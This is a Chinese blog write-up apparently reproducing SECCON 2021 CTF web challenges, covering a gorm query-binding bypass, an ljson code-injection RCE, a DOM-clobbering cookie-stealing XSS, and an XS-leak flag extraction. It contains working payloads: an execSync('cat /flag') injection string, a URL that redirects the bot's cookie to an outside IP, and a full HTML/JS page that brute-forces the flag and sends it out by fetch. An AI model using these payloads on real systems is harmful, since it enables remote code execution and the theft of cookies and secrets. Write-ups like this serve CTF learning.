seccon2021(复现)

seccon2021(复现)

wp:https://blog.arkark.dev/2021/12/22/seccon/

Vulnerabilities

审一波代码:

r.POST("/api/vulnerability", func(c *gin.Context) {
        //  Validate the parameter
        var json map[string]interface{}
        if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 1"})
            return
        }
        if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

        //  Get details of the vulnerability
        var query Vulnerability
        if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
            c.JSON(400, gin.H{"Error": "JSON error 2"})
            return
        }
        var vuln Vulnerability
        if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

        c.JSON(200, gin.H{
            "Logo": vuln.Logo,
            "URL":  vuln.URL,
        })
    })

flag存储在flag的URL和Logo里面,抓包可以发现发送了一些json字符串。目的就是能将flag返回。

type Vulnerability struct {
    gorm.Model
    Name string
    Logo string
    URL  string
}

Vulnerability的结构体里面有个gorm.Model,谷歌一下:https://www.cnblogs.com/zisefeizhu/p/12788017.html


而且还得知其会自增。所以flag的id=14。所以我们可以在json数据加入id=14说不定就能找到flag。关键是我们不知道flag的Name。如果Name和id不匹配,也不能找到flag。如果能让其只匹配id其他全置空,说不定就能找到flag。

if name, ok := json["Name"]; !ok || name == "" || name == nil {
            c.JSON(400, gin.H{"Error": "no \"Name\""})
            return
        }

需要绕过这个才行。但是又要把name置空。所以payload如下:

{"Name":"asd",
"name":"",
"id":14
}

这样就能绕过Name的检查。然后本地调试了一下。发现var json map[string]interface{}是区分大小写的,它把上面的键值对全都赋值到json里面了。然后query的话不区分大小写,而且还会覆盖值,导致Name为空,只有id有值。这可能跟sql不区分大小写有关(盲猜)。然后下面的语句

if err := db.Where(&query).First(&vuln).Error; err != nil {
            c.JSON(404, gin.H{"Error": "not found"})
            return
        }

直接用id去搜索,所以能直接得到flag。

Sequence as a Service 1&Sequence as a Service 2

分析一波非预期。


抓包可以看到传了箭头函数。

const result = await execFile("node", ["./service.js", sequence, n], {
      timeout: 1000,
    });
    reply.send(result.stdout);

将参数传给了service.js。然而service.js就只是调了库。看一波ljson的源码:

var body = P.betweenSpaced(P.chr("("),LJSON_value(binders+varList.length, newScope),P.chr(")"))();
                    var args = varList.map(function(name,i){return toName(binders+i)}).join(",");

                    return "(function("+args+"){return "+body+"})";

这里有代码注入。如果body可控,直接就可以rce了。根据传参(a,b)=>(a("/",a("*",b,a("+",b,1)),2))似乎是一个递归,看到最里面那个a函数,a("+",b,1)似乎只能传3个参,而且根据lib.js:

  "+": (x, y) => x + y,
  "-": (x, y) => x - y,
  "*": (x, y) => x * y,
  "/": (x, y) => x / y,
  ",": (x, y) => (x, y),

地一个为运算符,其他两个为参数。而且js里面+可以当作字符连接符。


想办法来一波代码注入。本地可以调试一波service.js

const LJSON = require("ljson");
const lib = require("./lib.js");

const sequence = '(a,b)=>(a("+","1",2))';
                //((function(a,b){return a("+","1\",",11)+global.process.mainModule.require('child_process').execSync('cat /flag')}))//"))
const n = parseInt('5');

console.log(LJSON.parseWithLib(lib, sequence)(n));

可以在最后有个匿名函数:

((function(a,b){return a("+","1",2)}))

明显a("+","1",2)就是可控的地方。如果在1这里加入\说不定就能逃逸。
当尝试一个\直接报错了。
在ljson.js里面

if (isStringCharacter(c)){
                            result += c;
                        } 
                        else if (c === "\\"){
                            var slashed = P.get();
                            switch (slashed){
                                case '"' : result += '\\"'; break;
                                case "\\": result += "\\"; break;
                                case "/" : result += "\\/"; break;
                                case "b" : result += "\\b"; break;
                                case "f" : result += "\\f"; break;
                                case "n" : result += "\\n"; break;
                                case "r" : result += "\\r"; break;
                                case "t" : result += "\\t"; break;

这个其实是判断\后面一个是啥。当我们传入一个\时,它会进入地一个case,因为\的下一个就是"
所以这时得到的是\"。所以我们得输入双反斜杠。为了不报错,需要闭合一个双引号。根据生成函数的格式((function(a,b){return a("+","1",2)})),需要在2这里将大括号之类的闭合,然后将后面多余的字符注释,所以差不多就可以构造出来了:

(a,b)=>(a("+","1\\",",global.process.mainModule.require('child_process').execSync('cat /flag'))}))//"))

构造函数的时候,body=a("+","1\\",",global.process.mainModule.require('child_process').execSync('cat /flag'))}))//")其中,第二个参数为1\",,第三个参数为global.process.mainModule.require('child_process').execSync('cat /flag'))}))//其中)}))把函数闭合了,然后+可以进行字符串连接。本地跑一下就明白了。

((function(a,b){return a("+","1\",",global.process.mainModule.require('child_process').execSync('cat /flag'))}))//")}))

然后直接该/flag为/flag.txt直接拿下两题了XD。


这和预期差得有点多

Cookie Spinner

源码分析一波。在bot的index.js里面可以看到,bot的cookie就是flag。想办法弄到cookie,应该是用XSS来拿。

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(32).toString("base64");
  res.setHeader(
    "Content-Security-Policy",
    `default-src 'self'; script-src 'nonce-${nonce}'; base-uri 'none';`
  );
  req.nonce = nonce;
  next();
});

设置了CSP(https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP)所以只能运行带有随机nonce的脚本。
在网页f12可以看到该脚本:

<script nonce="8EIqg+CQr+Tzk8m3OTy5jgT6pKemr+JTRt100dUtpps=">
    const main = () => {

      const cookie = new URLSearchParams(location.search).get("cookie");
      if (cookie) {

        document.querySelector("#cookie").textContent = cookie;
        document.cookie = "cookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; // I ate your cookie 😋

      } else {

        // `window.window` is `window`
        // So, `window.window.window` is also `window`.
        // It means `window.window. ... .window` is also `window`!

        const wInDoW = new URLSearchParams(location.search).get("window") || "window";
        try {
          const WINDOW = window;
          const window1 = WINDOW[wInDoW];
          const window2 = window1[wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW];
          const window3 = window2[wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW];
          if (window2 === window3) {
            WINDOW.location.href = window1.location.origin + window1.location.pathname + "?" + (WINDOW.location.search + "&").slice(1) + document.cookie;
          }
        } catch (e) {
          console.error(e);
        }

      }

    };

    if (document.querySelector("meta") != null) {
      console.error("I hate <meta> tags :(");
    } else {
      main();
    }
  </script>

所以XSS也只能运行它定义好的脚本。说明上面这个脚本有漏洞。明显如果window2等于window3,然后让bot去访问我们的服务器,就能把它的cookie发到我们的服务器上。
关键就是这个等于条件。这里需要用到小trick。

const defaultView = `
  <div id="cookie" class="unclickable big spinner"></div>
`;

app.get("/", (req, res) => {
  // You can edit the cookie viewer!
  const view = req.query.view || defaultView;

  const html = indexHtml
    .replaceAll("{{NONCE}}", req.nonce)
    .replaceAll("{{VIEW}}", view);

  res.send(html);
});

同时,这个view可控,可以写html标签。但是script标签的代码不会运行,有CSP。所以我们需要用这个view去让window2等于window3,同时还能获取到cookie。
官方的解法:

<form>
  <input id="form">
</form>
<a id="form" name="location" href="https://example.com"></a>

window.form.form=input,这里获取到input标签,因为它在form标签里面,且有id=form。
window.form.form.form=form,因为input标签有属性form,它指向父标签:https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement#properties
window.form.form.form.form=input,https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement
里面提到被命名的input标签会作为form的一个属性,所以上面的结果就是input。
以此类推,最终window2=window3。
再到下面,window.form.location=a标签,因为它id=form,且name=location。所以window.form.location.origin就会等于https://example.com,因为a有origin的属性https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement#properties
同理,window.form.location.pathname=/,因为a有pathname的属性。最终,页面会重定向到href的网站。并且把cookie带过去。
最终payload:

http://153.127.199.64:3000/?window=form&view=<form><input id="form"></form><a id="form" name="location" href="http://47.96.173.116:2333/"></a>

这个在题目那里提交即可,然后监听端口就能拿到flag。

x-note

这道题不是很理解,分析一波非预期。
分析源码。bot会创建一个页面(同一个网站),随机用户密码注册登录,然后将flag写在note里面。然后再创建一个页面用于请求用户提交的url。可以发现,error页面可以写入html标签:

<div class="message-header">
                <% if (url == null) { %>
                  <p>Error</p>
                <% } else { %>
                  <p>Error at <%= url %></p>
                <% } %>
              </div>
              <div class="message-body">
                <%- msg %>
              </div>

msg可控。然后ejs渲染,如果在提交note的时候抓包修改为note[toString]=aaa,会导致ejs渲染出错,直接跳转到error页面。然后ejs会报两种错误,最明显的特征是是否带有filteredNotes,出错地方在:

<pre class="message-body is-dark"><%=
              hitCount > 0 && filteredNotes[0] || 'Not found ...'
            %></pre>

然后用search的方式,如果search到正确结果就不会有filteredNotes。但是需要同时将note[toString]=x&note[a1]=SECCON{A&note[a2]=SECCON{B...全部一起上传。然后再search。然后加上msg写入恶意的html标签,从而检测结果。
payload:

<html>
    <head>
        <title>rem rem rem</title>
    </head>
    <body>
        <div id="atk">

        </div>
        <script>
            // const TARGET = "http://localhost:8000"
            const TARGET = "http://web:3000"

            const alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789{}"
            const exfil = document.location.origin
            var flag = "SECCON{"
            var w;

            function sub(){
                let r = ""
                r+= `<input id="inp" name="note[toString]" value="1337">`
                for(let i=0;i<alphabet.length;i++){
                    r+= `<input id="inp" name="note[f${i}]" value="${flag+alphabet[i]}">`
                }

                atk.innerHTML = `<form id="fo" action="${TARGET}/createNote" method="POST">${r}</form>`
                inp.value = r
                if(w && w.close){w.close()}
                blob = new Blob([atk.outerHTML+"<script>fo.submit()<\/script>"], {type : 'text/html'});
                w = window.open(URL.createObjectURL(blob))
            }

            function chk(idx){
                w.location=`${TARGET}/?search=${flag+alphabet[idx]}&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=${document.location}%23exfil${idx}" />`
            }

            if(!document.location.hash.startsWith("#exfil")){
                sub()
                setTimeout(()=>{
                    chk(0)
                },1000)
            } else {
                let flagFound = null
                let r = null
                if(document.referrer.indexOf("filteredNotes") > -1){
                    flagFound = false
                    r = parseInt(document.location.hash.slice(6))+1
                } else {
                    flagFound = true
                    r = alphabet[parseInt(document.location.hash.slice(6))]
                }
                opener.postMessage({flagFound,r,oh:1})
            }

            window.onmessage = e=>{
                if(e.data.oh){
                    if(!e.data.flagFound){
                        chk(e.data.r)
                    } else {
                        flag += e.data.r
                        console.log(flag)
                        if(flag.indexOf("}") == -1 ){
                            sub()
                            setTimeout(()=>{
                                chk(0)
                            },1000)
                        }
                    }
                }
            }

            setInterval(()=>{
                fetch(document.location.origin+"?a="+encodeURIComponent(flag))
            },2000)
        </script>
    </body>
</html>

把这个写在web服务器上的index.html。然后在report那里输入自己的网址即可。当bot浏览该页面的时候,会往note那里上传note[toString]等flag前缀,然后再用search的方式,匹配到正确的结果,就会发送到web服务器上,一直将flag匹配出来,然后去查看web服务器的访问日志即可得到flag。这里用的${TARGETHOST}/?search=SECCON{A&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=http://ourhost/" />来辨别不同的结果,通过检查referer的是否含有filteredNotes关键词区分。
讲道理,不是很明白为啥search的正确与否会有两个不同的报错结果。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇